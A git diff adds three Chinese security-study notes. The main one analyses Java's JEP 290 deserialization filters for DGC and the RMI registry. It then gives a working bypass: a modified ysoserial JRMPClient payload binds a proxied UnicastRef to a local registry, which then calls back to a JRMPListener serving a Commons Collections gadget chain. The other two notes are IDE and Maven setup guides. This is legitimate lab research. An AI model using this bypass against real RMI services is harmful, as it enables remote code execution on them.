+[Ysoserial-JRMPListener/JRMPClient 学习](https://stoocea.github.io/post/JRMPListener%20Client%E5%AD%A6%E4%B9%A0.html#JRMPClient-%E8%B0%83%E8%AF%95)
diff --git a/books/漏洞篇 - 关于 JEP 290.md b/books/漏洞篇 - 关于 JEP 290.md
new file mode 100644
index 0000000..a5c1f4d
--- /dev/null
+++ b/books/漏洞篇 - 关于 JEP 290.md	
@@ -0,0 +1,356 @@
+# 漏洞篇 - 关于 JEP 290
+> 2024-09-08
+> 来源:https://changeyourway.github.io/2024/09/08/Java%20%E5%AE%89%E5%85%A8/%E6%BC%8F%E6%B4%9E%E7%AF%87-%E5%85%B3%E4%BA%8EJEP290/
+
+## JEP 290
+
+JEP290 是 Java 底层为了缓解反序列化攻击提出的一种解决方案。这是一个针对 JAVA 9 提出的安全特性,但同时对 JDK 6,7,8 都进行了支持,在 JDK 6u141、JDK 7u131、JDK 8u121 版本进行了更新。
+
+JEP 290 主要提供了以下几个机制:
+
+-   用黑白名单的方式限制可反序列化的类;
+-   限制反序列化的调用深度和复杂度;
+-   为 RMI export 的对象设置了验证机制;
+-   提供一个全局过滤器,可以在 properties 或配置文件中进行配置;
+
+现在使用 JDK 8u392 ,再次运行 ysoserial 中的 payloads/JRMPListener 和 exploit/JRMPClient ,会爆出如下错误:
+
+![](https://changeyourway.github.io/images/image-20240908125709750.png)
+
+这在我之前的分析文章中也提到过,是由于 JEP 290 机制阻止了我反序列化 HashSet 类。
+
+从报错信息中,可以发现一个 ObjectInputFilter 接口,其中定义了三种状态,分别是未定义、接受和拒绝:
+
+![](https://changeyourway.github.io/images/image-20240908125941036.png)
+
+另外从报错信息中发现 ObjectInputStream 有一个 filterCheck 方法,这个方法与反序列化的检查相关:
+
+```
+private void filterCheck(Class clazz, int arrayLength)
+        throws InvalidClassException {
+    if (serialFilter != null) {
+        RuntimeException ex = null;
+        ObjectInputFilter.Status status;
+        // Info about the stream is not available if overridden by subclass, return 0
+        long bytesRead = (bin == null) ? 0 : bin.getBytesRead();
+        try {
+            status = serialFilter.checkInput(new FilterValues(clazz, arrayLength,
+                    totalObjectRefs, depth, bytesRead));
+        } catch (RuntimeException e) {
+            // Preventive interception of an exception to log
+            status = ObjectInputFilter.Status.REJECTED;
+            ex = e;
+        }
+        if (status == null  ||
+                status == ObjectInputFilter.Status.REJECTED) {
+            // Debug logging of filter checks that fail
+            if (Logging.infoLogger != null) {
+                Logging.infoLogger.info(
+                        "ObjectInputFilter {0}: {1}, array length: {2}, nRefs: {3}, depth: {4}, bytes: {5}, ex: {6}",
+                        status, clazz, arrayLength, totalObjectRefs, depth, bytesRead,
+                        Objects.toString(ex, "n/a"));
+            }
+            InvalidClassException ice = new InvalidClassException("filter status: " + status);
+            ice.initCause(ex);
+            throw ice;
+        } else {
+            // Trace logging for those that succeed
+            if (Logging.traceLogger != null) {
+                Logging.traceLogger.finer(
+                        "ObjectInputFilter {0}: {1}, array length: {2}, nRefs: {3}, depth: {4}, bytes: {5}, ex: {6}",
+                        status, clazz, arrayLength, totalObjectRefs, depth, bytesRead,
+                        Objects.toString(ex, "n/a"));
+            }
+        }
+    }
+}
+```
+
+### 对于 DGC 的影响
+
+具体体现在为 DGCImpl 新增了一个 checkInput 方法:
+
+```
+private static ObjectInputFilter.Status checkInput(ObjectInputFilter.FilterInfo filterInfo) {
+    if (dgcFilter != null) {
+        ObjectInputFilter.Status status = dgcFilter.checkInput(filterInfo);
+        if (status != ObjectInputFilter.Status.UNDECIDED) {
+            // The DGC filter can override the built-in white-list
+            return status;
+        }
+    }
+
+    if (filterInfo.depth() > DGC_MAX_DEPTH) {
+        return ObjectInputFilter.Status.REJECTED;
+    }
+    Class clazz = filterInfo.serialClass();
+    if (clazz != null) {
+        while (clazz.isArray()) {
+            if (filterInfo.arrayLength() >= 0 && filterInfo.arrayLength() > DGC_MAX_ARRAY_SIZE) {
+                return ObjectInputFilter.Status.REJECTED;
+            }
+            // Arrays are allowed depending on the component type
+            clazz = clazz.getComponentType();
+        }
+        if (clazz.isPrimitive()) {
+            // Arrays of primitives are allowed
+            return ObjectInputFilter.Status.ALLOWED;
+        }
+        return (clazz == ObjID.class ||
+                clazz == UID.class ||
+                clazz == VMID.class ||
+                clazz == Lease.class)
+                ? ObjectInputFilter.Status.ALLOWED
+                : ObjectInputFilter.Status.REJECTED;
+    }
+    // Not a class, not size limited
+    return ObjectInputFilter.Status.UNDECIDED;
+}
+```
+
+-   如果定义了外部过滤器 dgcFilter,首先调用它进行判断。外部过滤器的优先级更高。
+-   使用 DGC\_MAX\_DEPTH 和 DGC\_MAX\_ARRAY\_SIZE 来限制深度和数组大小。
+-   只有白名单类( ObjID,UID,VMID,Lease )允许被反序列化。
+
+在 JDK 8u392 版本中,当我们尝试用 exploit/JRMPClient 攻击一个 RMI 服务端时,服务端的处理逻辑如下:
+
+```
+TCPTransport#handleMessages(Connection, boolean)
+Transport#serviceCall(RemoteCall)
+UnicastServerRef#dispatch(Remote, RemoteCall)
+UnicastServerRef#oldDispatch(Remote, RemoteCall, int)
+DGCImpl_Skel#dispatch(java.rmi.Remote, java.rmi.server.RemoteCall, int, long)
+```
+
+然后会在这里调用 ObjectInputStream 的 readObject 方法:
+
+![](https://changeyourway.github.io/images/image-20240908131631277.png)
+
+跟进 ObjectInputStream#readObject() :
+
+![](https://changeyourway.github.io/images/image-20240908131836706.png)
+
+跟进 ObjectInputStream#readObject(Class):
+
+![](https://changeyourway.github.io/images/image-20240908131946393.png)
+
+这里会调用 readObject0 方法。
+
+跟进 ObjectInputStream#readObject0(Class, boolean), readObject0 是一个用于反序列化 Java 对象的内部方法。它负责从输入流中读取不同类型的对象数据,并根据特定的标记(type codes)进行相应的处理和反序列化操作。当读取到的 type code 为 TC\_OBJECT(表示普通对象)时,会进行如下操作:
+
+![](https://changeyourway.github.io/images/image-20240908132117464.png)
+
+跟进 ObjectInputStream#readOrdinaryObject(boolean),这个方法用于读取并返回普通对象:
+
+![](https://changeyourway.github.io/images/image-20240908132916215.png)
+
+跟进 ObjectInputStream#readClassDesc(boolean) ,这个方法用于返回一个类描述符:
+
+![](https://changeyourway.github.io/images/image-20240908133220028.png)
+
+进入非动态代理类的情况,调用 readNonProxyDesc 来获取类描述符。
+
+跟进 ObjectInputStream#readNonProxyDesc(boolean) ,经过了一系列操作后,调用了 filterCheck 方法,就是我们一开始提到的那个:
+
+![](https://changeyourway.github.io/images/image-20240908133516802.png)
+
+跟进 ObjectInputStream#filterCheck(Class, int) :
+
+![](https://changeyourway.github.io/images/image-20240908133802354.png)
+
+在这里调用 serialFilter.checkInput ,也就是 DGCImpl 的 checkInput 方法,完成闭环。
+
+#### 调用链总结
+
+服务端处理的调用链如下:
+
+```
+DGCImpl_Skel#dispatch(java.rmi.Remote, java.rmi.server.RemoteCall, int, long)
+ObjectInputStream#readObject()
+ObjectInputStream#readObject(Class)
+ObjectInputStream#readObject0(Class, boolean)
+ObjectInputStream#readOrdinaryObject(boolean)
+ObjectInputStream#readClassDesc(boolean) 
+ObjectInputStream#readNonProxyDesc(boolean)
+ObjectInputStream#filterCheck(Class, int)
+DGCImpl#checkInput(ObjectInputFilter.FilterInfo)
+```
+
+### 对于 RMI 的影响
+
+具体体现在为 RegistryImpl 类添加了一个 registryFilter 方法:
+
+```
+private static ObjectInputFilter.Status registryFilter(ObjectInputFilter.FilterInfo filterInfo) {
+    if (registryFilter != null) {
+        ObjectInputFilter.Status status = registryFilter.checkInput(filterInfo);
+        if (status != ObjectInputFilter.Status.UNDECIDED) {
+            // The Registry filter can override the built-in white-list
+            return status;
+        }
+    }
+
+    if (filterInfo.depth() > REGISTRY_MAX_DEPTH) {
+        return ObjectInputFilter.Status.REJECTED;
+    }
+    Class clazz = filterInfo.serialClass();
+    if (clazz != null) {
+        if (clazz.isArray()) {
+            // Arrays are REJECTED only if they exceed the limit
+            return (filterInfo.arrayLength() >= 0 && filterInfo.arrayLength() > REGISTRY_MAX_ARRAY_SIZE)
+                ? ObjectInputFilter.Status.REJECTED
+                : ObjectInputFilter.Status.UNDECIDED;
+        }
+        if (String.class == clazz
+                || java.lang.Number.class.isAssignableFrom(clazz)
+                || Remote.class.isAssignableFrom(clazz)
+                || java.lang.reflect.Proxy.class.isAssignableFrom(clazz)
+                || UnicastRef.class.isAssignableFrom(clazz)
+                || RMIClientSocketFactory.class.isAssignableFrom(clazz)
+                || RMIServerSocketFactory.class.isAssignableFrom(clazz)
+                || java.rmi.activation.ActivationID.class.isAssignableFrom(clazz)
+                || java.rmi.server.UID.class.isAssignableFrom(clazz)) {
+            return ObjectInputFilter.Status.ALLOWED;
+        } else {
+            return ObjectInputFilter.Status.REJECTED;
+        }
+    }
+    return ObjectInputFilter.Status.UNDECIDED;
+}
+```
+
+1.  如果存在一个全局的 registryFilter,那么会调用它的 checkInput 方法来检查是否允许反序列化当前对象。外部的 registryFilter 拥有高优先级,它可以覆盖接下来定义的内置白名单规则。
+    
+2.  使用 REGISTRY\_MAX\_DEPTH 和 REGISTRY\_MAX\_ARRAY\_SIZE 来限制深度和数组大小。
+    
+3.  以及定义了一个明确的白名单,,如果反序列化对象的类型属于这个白名单中的类,则允许反序列化(ALLOWED)。
+    
+
+其调用链与 DGC 相似,只不过是在 RegistryImpl\_Skel 的 dispatch 方法触发。不过值得注意的是,这个方法只对 bind 和 rebind 的处理逻辑有反序列化的操作。
+
+bind 的处理逻辑:
+
+![](https://changeyourway.github.io/images/image-20240908144016619.png)
+
+rebind 的处理逻辑:
+
+![](https://changeyourway.github.io/images/image-20240908144053256.png)
+
+而对其他方法比如 list、lookup、unbind 的处理逻辑则是没有调用 readObject 方法的。**也就是说这个新增的机制只影响 Server 端对 Registry 端的攻击,对其他的攻击没有影响。具体来说,就是只影响 bind 和 rebind 方法的结果。**之前提到的针对 Server 端和 Client 端的攻击依然可行。
+
+#### 调用链总结
+
+还是总结一下 Registry 端的处理逻辑:
+
+```
+RegistryImpl_Skel#dispatch(java.rmi.Remote, java.rmi.server.RemoteCall, int, long)
+ObjectInputStream#readObject()
+ObjectInputStream#readObject(Class)
+ObjectInputStream#readObject0(Class, boolean)
+ObjectInputStream#readOrdinaryObject(boolean)
+ObjectInputStream#readClassDesc(boolean)
+ObjectInputStream#readProxyDesc(boolean)
+ObjectInputStream#filterCheck(Class, int)
+RegistryImpl#registryFilter(ObjectInputFilter.FilterInfo)
+```
+
+除了中间调用的是 readProxyDesc 而不是 readNonProxyDesc 以外,跟 DGC 服务端的处理逻辑大差不差。
+
+### 绕过分析
+
+在白名单操作之后,Server 端想要向 Registry 端直接绑定一个 CC 链之类的恶意对象就不行了,但是之前提到的 RemoteObject + UnicastRef 还是可以用的。ysoserial 中的 exploit/JRMPListener 和 payloads/JRMPClient 就是对这一块的实现。
+
+JDK 8u202 环境下,如果存在一个 Registry 端:
+
+```
+Registry registry = LocateRegistry.createRegistry(1099);
+```
+
+那么就可以针对它展开攻击:
+
+1.  首先开启 exploit/JRMPListener 服务端,它的作用是当收到 DGC 请求时会返回 BadAttributeValueExpException 异常类,与 CC 有关的 payload 就被放置在这个异常类当中。
+    
+2.  然后我们可以向 Registry 端 bind 一个 UnicastRef 对象,这个对象在白名单之中,它被反序列化时,会向其中指定的地址发起 DGC 调用请求。但是由于绑定的对象必须要继承 Remote 接口,所以利用 RemoteObjectInvocationHandler 为这个 UnicastRef 对象创建一个 Registry 代理类,Registry 继承了 Remote ,所以这个代理类可以被顺利绑定。
+    
+3.  于是 Registry 端收到 exploit/JRMPListener 发来的异常,造成反序列化攻击。
+    
+
+修改后的 payloads/JRMPClient 用来实现第二步:
+
+```
+package ysoserial.payloads;
+
+import java.lang.reflect.Proxy;
+import java.rmi.registry.LocateRegistry;
+import java.rmi.registry.Registry;
+import java.rmi.server.ObjID;
+import java.rmi.server.RemoteObjectInvocationHandler;
+import java.util.Random;
+
+import sun.rmi.server.UnicastRef;
+import sun.rmi.transport.LiveRef;
+import sun.rmi.transport.tcp.TCPEndpoint;
+import ysoserial.payloads.annotation.Authors;
+import ysoserial.payloads.annotation.PayloadTest;
+import ysoserial.payloads.util.PayloadRunner;
+
+@SuppressWarnings ( {
+    "restriction"
+} )
+@PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest")
+@Authors({ Authors.MBECHLER })
+public class JRMPClient extends PayloadRunner implements ObjectPayload {
+
+    public Registry getObject ( final String command ) throws Exception {
+
+        String host;
+        int port;
+        int sep = command.indexOf(':');
+        if ( sep < 0 ) {
+            port = new Random().nextInt(65535);
+            host = command;
+        }
+        else {
+            host = command.substring(0, sep);
+            port = Integer.valueOf(command.substring(sep + 1));
+        }
+        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
+        TCPEndpoint te = new TCPEndpoint(host, port);
+        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
+        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
+        Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
+            Registry.class
+        }, obj);
+        return proxy;
+    }
+
+
+    public static void main ( final String[] args ) throws Exception {
+        JRMPClient jrmpClient = new JRMPClient();
+        // exploit/JRMPListener 开启监听的端口是 7777  
+        Registry proxy = jrmpClient.getObject("127.0.0.1:7777");
+        Registry reg = LocateRegistry.getRegistry("localhost",1099);
+        reg.rebind("hello", proxy);
+    }
+}
+```
+
+运行 Registry 端,运行 exploit/JRMPListener ,最后运行 payloads/JRMPClient ,就可以完成对 Registry 端的攻击。
+
+会一直弹出计算器,是因为 Registry 端不断地在向 exploit/JRMPListener 发起 DGC 调用请求,不断地收到异常类:
+
+![](https://changeyourway.github.io/images/image-20240908165326049.png)
+
+不过值得注意的是,上面的代码在更高一点的版本比如 8u392 就运行不成功,看来是过滤的更严格了:
+
+![](https://changeyourway.github.io/images/image-20240908165724980.png)
+
+## 参考文章
+
+[浅谈 JEP290](https://drun1baby.top/2023/04/18/%E6%B5%85%E8%B0%88-JEP290/#0x02-%E5%85%B3%E4%BA%8E-JEP290)
+
+[Java RMI 攻击由浅入深](https://su18.org/post/rmi-attack/#jep-290)
+
+[RMI:绕过 JEP290 —— 上](https://m0d9.me/2020/07/02/RMI%EF%BC%9A%E7%BB%95%E8%BF%87JEP290%E2%80%94%E2%80%94%E4%B8%8A/)
+
+[RMI:绕过 JEP290 —— 中](https://m0d9.me/2020/07/11/RMI%EF%BC%9A%E7%BB%95%E8%BF%87JEP290%E2%80%94%E2%80%94%E4%B8%AD/)
diff --git a/books/配置篇 - IDEA 查看带 sun 包的 JDK 源码.md b/books/配置篇 - IDEA 查看带 sun 包的 JDK 源码.md
new file mode 100644
index 0000000..1d330a8
--- /dev/null
+++ b/books/配置篇 - IDEA 查看带 sun 包的 JDK 源码.md	
@@ -0,0 +1,75 @@
+# 配置篇 - IDEA 查看带 sun 包的 JDK 源码
+> 2024-05-12
+> 来源:https://changeyourway.github.io/2024/05/12/Java%20%E5%AE%89%E5%85%A8/%E9%85%8D%E7%BD%AE%E7%AF%87-idea%E6%9F%A5%E7%9C%8BJDK%E5%92%8C%E4%BE%9D%E8%B5%96%E7%9A%84%E6%BA%90%E7%A0%81/
+
+前言:前面在分析初始版本 CC1 链的时候,查看 sun 包里的 AnnotationInvocationHandler 类的源码,发现变量名全都是 var 开头,非常不便于阅读,接下来将介绍如何使用 IDEA 查看带 sun 包的 JDK 源码,以及导入的依赖源码,这里的源码指的是 .java 文件。
+
+## IDEA 查看带 sun 包的 JDK 源码
+
+ref:[JAVA CC1分析](https://quan9i.top/post/Java%20CC1/)
+
+原始的 JDK 中的 src.zip 是没有 sun 包的,我们需要自己下载包含 sun 包的源码。
+
+以 JDK8u65 版本为例,前往 openjdk 网站下载的链接为:[http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/af660750b2f4](http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/af660750b2f4)
+
+点击左侧的 zip 即可下载压缩包:
+
+![](https://changeyourway.github.io/images/image-20240512103415395.png)
+
+下载的压缩包名为 jdk-af660750b2f4.zip ,将其解压后,在 `jdk-af660750b2f4\jdk-af660750b2f4\src\share\classes` 路径下即可找到 sun 包:
+
+![](https://changeyourway.github.io/images/image-20240512103638591.png)
+
+在我们之前的 JDK 文件夹下有一个 src.zip 压缩包,将其解压后,将上面的 sun 包复制进来:
+
+![](https://changeyourway.github.io/images/image-20240512103849057.png)
+
+这时候就可以在 idea 中添加资源文件了。
+
+打开 idea -> ProJect Structure -> SDKs 选择上方的 Classpath ,点击加号,将 src 路径导入进去:
+
+![](https://changeyourway.github.io/images/image-20240512104333634.png)
+
+添加完 Classpath 之后,还要添加 Sourcepath :
+
+![](https://changeyourway.github.io/images/image-20240512104500613.png)
+
+这样就算完成了。
+
+这时就可以写个程序验证是否添加成功:
+
+![](https://changeyourway.github.io/images/image-20240512104723731.png)
+
+Ctrl + 鼠标左键进入源码:
+
+![](https://changeyourway.github.io/images/image-20240512104759127.png)
+
+可以发现此时进入的是 .java 文件而不再是 .class 文件了,说明添加成功。
+
+## IDEA 查看依赖包的 Java 源码
+
+ref:[idea 查看 Java 源码,而不是编译后的 class 文件](https://blog.csdn.net/qq_41937438/article/details/102633266)
+
+以 CC 依赖为例:
+
+```
+
+    
+        commons-collections
+        commons-collections
+        3.2.1
+    
+
+```
+
+首先打开设置,找到红框所示路径,勾选 Sources 和 Documentation :
+
+![](https://changeyourway.github.io/images/image-20240512105017896.png)
+
+点击 Apply 应用和 OK 退出。
+
+接着打开右侧 Maven 图标,按照图示步骤 Download Sources :
+
+![](https://changeyourway.github.io/images/image-20240512105304562.png)
+
+到这一步就添加完成了。
diff --git a/books/配置篇 - Maven 手动下载与导入依赖.md b/books/配置篇 - Maven 手动下载与导入依赖.md
new file mode 100644
index 0000000..2cc3586
--- /dev/null
+++ b/books/配置篇 - Maven 手动下载与导入依赖.md	
@@ -0,0 +1,59 @@
+# 配置篇 - Maven 手动下载与导入依赖
+> 2024-05-10
+> 来源:https://changeyourway.github.io/2024/05/10/Java%20%E5%AE%89%E5%85%A8/%E9%85%8D%E7%BD%AE%E7%AF%87-Maven%E6%89%8B%E5%8A%A8%E4%B8%8B%E8%BD%BD%E4%B8%8E%E5%AF%BC%E5%85%A5%E4%BE%9D%E8%B5%96/
+
+遇到 maven 无法自动导入的依赖怎么办,本文介绍了如何手动下载与导入 maven 依赖
+
+## 遇到 maven 无法自动导入的依赖怎么办
+
+推荐博客:[maven 项目手动导入 jar 包依赖](https://blog.csdn.net/weixin_44455388/article/details/100926697)
+
+### 第一步,在网上下载依赖 jar 包
+
+比较推荐 nowjava (时代java)这个网站。
+
+比如我要下载 javax.el-api-3.0.0.jar ,那么访问网址 [https://nowjava.com/jar/detail/m03040939/javax.el-api-3.0.0.jar.html](https://nowjava.com/jar/detail/m03040939/javax.el-api-3.0.0.jar.html) 即可,往下翻,有下载 jar 包的链接:
+
+![](https://changeyourway.github.io/images/image-20240428112425221.png)
+
+下载好之后复制文件路径:”C:\\Users\\miaoj\\Downloads\\javax.el-api-3.0.0.jar” 。
+
+### 第二步,idea 中导入 jar 包
+
+file => project Structure => modules => Dependencies => 点击加号 => 选择第一项 JARs or Directories
+
+![](https://changeyourway.github.io/images/image-20240428112831198.png)
+
+将文件地址粘贴进去,确定即可。
+
+### 第三步,将 jar 包手动添加到 maven 本地仓库中
+
+打开 idea 的 Terminal 终端进入 Windows 命令提示符,输入以下命令:
+
+```
+mvn install:install-file -Dfile="C:\Users\miaoj\Downloads\javax.el-api-3.0.0.jar" -DgroupId=javax.el -DartifactId=javax.el-api -Dversion=3.0.0 -Dpackaging=jar
+```
+
+\-DgroupId:pom 文件中的 groupId
+
+\-DartifactId:pom 文件中的 artifactId
+
+\-Dversion:pom 文件中的 version
+
+\-Dpackaging:导入包的类型,这里是 jar 类型
+
+\-Dfile:jar 包所在路径
+
+在执行结果中可以看到 jar 包已被导入 maven 本地仓库:
+
+![](https://changeyourway.github.io/images/image-20240428113523947.png)
+
+完成之后,查看 pom.xml 文件可以发现原来的依赖不再爆红:
+
+```
+
+      javax.el
+      javax.el-api
+      3.0.0
+
+```